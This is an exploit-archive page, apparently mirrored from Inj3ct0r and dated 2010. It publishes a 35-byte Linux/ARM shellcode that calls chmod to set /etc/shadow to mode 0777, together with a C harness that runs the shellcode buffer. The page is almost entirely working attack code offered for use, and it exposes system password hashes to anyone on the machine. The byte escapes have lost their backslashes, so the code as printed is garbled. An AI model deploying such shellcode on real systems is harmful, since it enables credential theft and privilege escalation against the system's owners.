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linux/ARM chmod("/etc/shadow", 0777) Shellcode 35

Posted on 29 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/ARM chmod(&quot;/etc/shadow&quot;, 0777) Shellcode 35 Bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================
linux/ARM chmod(&quot;/etc/shadow&quot;, 0777) Shellcode 35 Bytes
=======================================================


/*
| Title: Linux/ARM chmod(&quot;/etc/shadow&quot;, 0777) Shellcode 35 Bytes
| Type: Shellcode
| Author: Florian Gaultier &lt;florian.gaultier@shell-storm.org&gt;
| Platform: Linux ARM (ARM926EJ-S rev 5 (v51))
| [+] http://www.shell-storm.org
*/
 
 
#include &lt;stdio.h&gt;
 
char shellcode[] =
&quot;x01x60x8fxe2&quot; //add r6, pc, #1
&quot;x16xffx2fxe1&quot; //bx r6
&quot;x78x46&quot; //mov r0, pc
&quot;x0cx30&quot; //adds r0, #12
&quot;xffx21&quot; //movs r1, #255
&quot;xffx31&quot; //adds r1, #255
&quot;x0fx27&quot; //movs r7, #15
&quot;x01xdf&quot; //svc 1
&quot;x01x27&quot; //movs r7, #1
&quot;x01xdf&quot; //svc 1
&quot;/etc/shadow&quot;
 
int main()
{
(*(void(*)()) shellcode)();
return 0;
}


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